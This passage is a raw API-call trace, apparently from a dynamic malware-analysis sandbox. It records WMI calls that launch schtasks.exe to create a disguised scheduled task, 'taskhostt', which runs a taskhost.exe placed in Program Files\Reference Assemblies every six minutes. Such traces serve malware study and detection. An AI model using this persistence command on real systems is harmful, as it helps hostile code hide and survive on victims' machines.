ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0141.993] WbemDefPath:IUnknown:AddRef (This=0x1bcd8fe0) returned 0x3 [0141.993] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd8fe0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0141.993] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd8fe0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0141.993] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd8fe0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bce68c0) returned 0x0 [0141.993] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bce68c0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0141.993] WbemDefPath:IUnknown:Release (This=0x1bce68c0) returned 0x3 [0141.993] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0141.993] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0141.993] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd8fe0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0141.993] WbemDefPath:IUnknown:Release (This=0x1bcd8fe0) returned 0x2 [0141.993] WbemDefPath:IUnknown:Release (This=0x1bcd8fe0) returned 0x1 [0141.993] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0141.993] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0141.993] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd8fe0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bcd8fe0) returned 0x0 [0141.994] WbemDefPath:IUnknown:AddRef (This=0x1bcd8fe0) returned 0x3 [0141.994] WbemDefPath:IUnknown:Release (This=0x1bcd8fe0) returned 0x2 [0141.994] WbemDefPath:IWbemPath:SetText (This=0x1bcd8fe0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0141.994] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd90a0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0141.994] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd8fe0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0141.994] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd8fe0, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0141.994] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd8fe0, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="root\\cimv2") returned 0x0 [0141.994] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bcd90a0) returned 0x0 [0141.994] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd8fe0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0141.994] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bcd8fe0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0141.994] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bcd8fe0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="root") returned 0x0 [0141.994] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bcd90a0, uIndex=0x0, pszName="root") returned 0x0 [0141.994] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bcd8fe0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0141.994] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bcd8fe0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="cimv2") returned 0x0 [0141.994] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bcd90a0, uIndex=0x1, pszName="cimv2") returned 0x0 [0141.994] WbemDefPath:IWbemPath:GetServer (in: This=0x1bcd8fe0, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0141.994] WbemDefPath:IWbemPath:GetServer (in: This=0x1bcd8fe0, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0141.994] WbemDefPath:IWbemPath:GetServer (in: This=0x1bcd90a0, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0141.994] WbemDefPath:IWbemPath:GetServer (in: This=0x1bcd90a0, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0141.994] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bcd90a0, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0xc15) returned 0x0 [0141.994] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd9520, puCount=0x1bb7e580 | out: puCount=0x1bb7e580*=0x2) returned 0x0 [0141.994] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9520, lFlags=4, puBuffLength=0x1bb7e578*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e578*=0xf, pszText=0x0) returned 0x0 [0141.994] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9520, lFlags=4, puBuffLength=0x1bb7e578*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e578*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.995] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd9520, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0141.995] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9520, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0141.995] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9520, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.995] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd90a0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0141.995] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd90a0, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x1d, pszText=0x0) returned 0x0 [0141.995] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd90a0, lFlags=4, puBuffLength=0x1bb7e608*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0141.995] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd90a0, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0141.995] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd90a0, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0141.995] IWbemServices:GetObject (in: This=0x1bce7e10, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e460*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e460*=0x1aa28f70, ppCallResult=0x0) returned 0x0 [0142.008] IWbemClassObject:GetMethod (in: This=0x1aa28f70, wszName="Create", lFlags=0, ppInSignature=0x1bb7e698, ppOutSignature=0x1bb7e690 | out: ppInSignature=0x1bb7e698*=0x1aa292e0, ppOutSignature=0x1bb7e690*=0x1aa27080) returned 0x0 [0142.008] IWbemClassObject:SpawnInstance (in: This=0x1aa292e0, lFlags=0, ppNewInstance=0x1bb7e6a8 | out: ppNewInstance=0x1bb7e6a8*=0x1aa18fe0) returned 0x0 [0142.009] IWbemClassObject:Get (in: This=0x1aa18fe0, wszName="CommandLine", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27486f0*=0, plFlavor=0x27486f4*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27486f0*=8, plFlavor=0x27486f4*=32) returned 0x0 [0142.062] IWbemClassObject:Get (in: This=0x1aa18fe0, wszName="CommandLine", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27486f0*=8, plFlavor=0x27486f4*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27486f0*=8, plFlavor=0x27486f4*=32) returned 0x0 [0142.062] IWbemClassObject:Put (This=0x1aa18fe0, wszName="CommandLine", lFlags=0, pVal=0x1bb7e600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"taskhostt\" /sc MINUTE /mo 6 /tr \"'C:\\Program Files\\Reference Assemblies\\taskhost.exe'\" /f", varVal2=0x0), Type=0) returned 0x0 [0142.062] IWbemClassObject:Get (in: This=0x1aa18fe0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2748780*=0, plFlavor=0x2748784*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2748780*=13, plFlavor=0x2748784*=32) returned 0x0 [0142.062] IWbemClassObject:Get (in: This=0x1aa18fe0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2748780*=13, plFlavor=0x2748784*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2748780*=13, plFlavor=0x2748784*=32) returned 0x0 [0142.063] IUnknown:QueryInterface (in: This=0x1aa28890, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df98 | out: ppvObject=0x1bb7df98*=0x1aa28890) returned 0x0 [0142.063] IUnknown:QueryInterface (in: This=0x1aa28890, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7e040 | out: ppvObject=0x1bb7e040*=0x0) returned 0x80004002 [0142.063] IUnknown:QueryInterface (in: This=0x1aa28890, riid=0x7fef11369a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc68 | out: ppvObject=0x1bb7dc68*=0x0) returned 0x80004002 [0142.063] IUnknown:AddRef (This=0x1aa28890) returned 0x3 [0142.063] IUnknown:QueryInterface (in: This=0x1aa28890, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d6e8 | out: ppvObject=0x1bb7d6e8*=0x0) returned 0x80004002 [0142.063] IUnknown:QueryInterface (in: This=0x1aa28890, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d670 | out: ppvObject=0x1bb7d670*=0x0) returned 0x80004002 [0142.063] IUnknown:QueryInterface (in: This=0x1aa28890, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d660 | out: ppvObject=0x1bb7d660*=0x1aa28898) returned 0x0 [0142.063] IMarshal:GetUnmarshalClass (in: This=0x1aa28898, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7d688 | out: pCid=0x1bb7d688*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0142.063] IUnknown:Release (This=0x1aa28898) returned 0x3 [0142.064] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0142.064] CoGetContextToken (in: pToken=0x1bb7db90 | out: pToken=0x1bb7db90) returned 0x0 [0142.064] IUnknown:QueryInterface (in: This=0x1aa28890, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dc50 | out: ppvObject=0x1bb7dc50*=0x0) returned 0x80004002 [0142.064] IUnknown:Release (This=0x1aa28890) returned 0x2 [0142.064] CoGetContextToken (in: pToken=0x1bb7da90 | out: pToken=0x1bb7da90) returned 0x0 [0142.064] CoGetContextToken (in: pToken=0x1bb7d990 | out: pToken=0x1bb7d990) returned 0x0 [0142.064] IUnknown:QueryInterface (in: This=0x1aa28890, riid=0x1bb7daf0*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1bb7dac0 | out: ppvObject=0x1bb7dac0*=0x0) returned 0x80004002 [0142.064] CoGetContextToken (in: pToken=0x1bb7dc20 | out: pToken=0x1bb7dc20) returned 0x0 [0142.064] IUnknown:QueryInterface (in: This=0x1aa28890, riid=0x7fef114d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dcf0 | out: ppvObject=0x1bb7dcf0*=0x0) returned 0x80004002 [0142.064] CoGetContextToken (in: pToken=0x1bb7dcb0 | out: pToken=0x1bb7dcb0) returned 0x0 [0142.064] IUnknown:AddRef (This=0x1aa28890) returned 0x3 [0142.064] IWbemClassObject:Put (This=0x1aa18fe0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e600*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1aa28890, varVal2=0x0), Type=0) returned 0x0 [0142.064] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd9460, puCount=0x1bb7e6c0 | out: puCount=0x1bb7e6c0*=0x2) returned 0x0 [0142.064] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9460, lFlags=4, puBuffLength=0x1bb7e6b8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6b8*=0x26, pszText=0x0) returned 0x0 [0142.065] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9460, lFlags=4, puBuffLength=0x1bb7e6b8*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e6b8*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0142.065] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd9520, puCount=0x1bb7e600 | out: puCount=0x1bb7e600*=0x2) returned 0x0 [0142.065] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9520, lFlags=4, puBuffLength=0x1bb7e5f8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e5f8*=0xf, pszText=0x0) returned 0x0 [0142.065] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9520, lFlags=4, puBuffLength=0x1bb7e5f8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e5f8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.065] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9460, lFlags=2, puBuffLength=0x1bb7e6c8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6c8*=0xe, pszText=0x0) returned 0x0 [0142.065] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9460, lFlags=2, puBuffLength=0x1bb7e6c8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e6c8*=0xe, pszText="Win32_Process") returned 0x0 [0142.065] IWbemServices:ExecMethod (in: This=0x1bce7e10, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1aa18fe0, ppOutParams=0x1bb7e4d0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1bb7e4d0*=0x1aa1a810, ppCallResult=0x0) returned 0x0 [0142.178] IWbemClassObject:Get (in: This=0x1aa1a810, wszName="ProcessId", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2748a98*=0, plFlavor=0x2748a9c*=0 | out: pVal=0x1bb7e610*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xfdc, varVal2=0x0), pType=0x2748a98*=19, plFlavor=0x2748a9c*=0) returned 0x0 [0142.178] IWbemClassObject:Get (in: This=0x1aa1a810, wszName="ProcessId", lFlags=0, pVal=0x1bb7e620*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2748a98*=19, plFlavor=0x2748a9c*=0 | out: pVal=0x1bb7e620*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xfdc, varVal2=0x0), pType=0x2748a98*=19, plFlavor=0x2748a9c*=0) returned 0x0 [0142.179] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0142.179] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0142.179] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0142.179] IUnknown:Release (This=0x1a943398) returned 0x1 [0142.181] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bce6ac0) returned 0x0 [0142.182] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bce6ac0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0142.182] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bce6ac0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1bcd8f20) returned 0x0 [0142.182] WbemDefPath:IUnknown:Release (This=0x1bce6ac0) returned 0x0 [0142.182] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd8f20, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1bcd8f20) returned 0x0 [0142.182] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd8f20, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0142.182] WbemDefPath:IUnknown:AddRef (This=0x1bcd8f20) returned 0x3 [0142.182] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd8f20, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0142.182] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd8f20, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0142.182] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd8f20, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bce6b00) returned 0x0 [0142.182] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bce6b00, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0142.182] WbemDefPath:IUnknown:Release (This=0x1bce6b00) returned 0x3 [0142.182] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0142.183] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0142.183] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd8f20, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0142.183] WbemDefPath:IUnknown:Release (This=0x1bcd8f20) returned 0x2 [0142.183] WbemDefPath:IUnknown:Release (This=0x1bcd8f20) returned 0x1 [0142.183] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0142.183] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0142.183] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd8f20, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1bcd8f20) returned 0x0 [0142.183] WbemDefPath:IUnknown:AddRef (This=0x1bcd8f20) returned 0x3 [0142.183] WbemDefPath:IUnknown:Release (This=0x1bcd8f20) returned 0x2 [0142.183] WbemDefPath:IWbemPath:SetText (This=0x1bcd8f20, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0142.183] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd8f20, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0142.183] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd8f20, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0xe, pszText=0x0) returned 0x0 [0142.183] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd8f20, lFlags=2, puBuffLength=0x1bb7e708*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e708*=0xe, pszText="Win32_Process") returned 0x0 [0142.183] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bcd8f20, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0142.183] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd8f20, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0142.183] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bcd8f20, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0142.183] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, 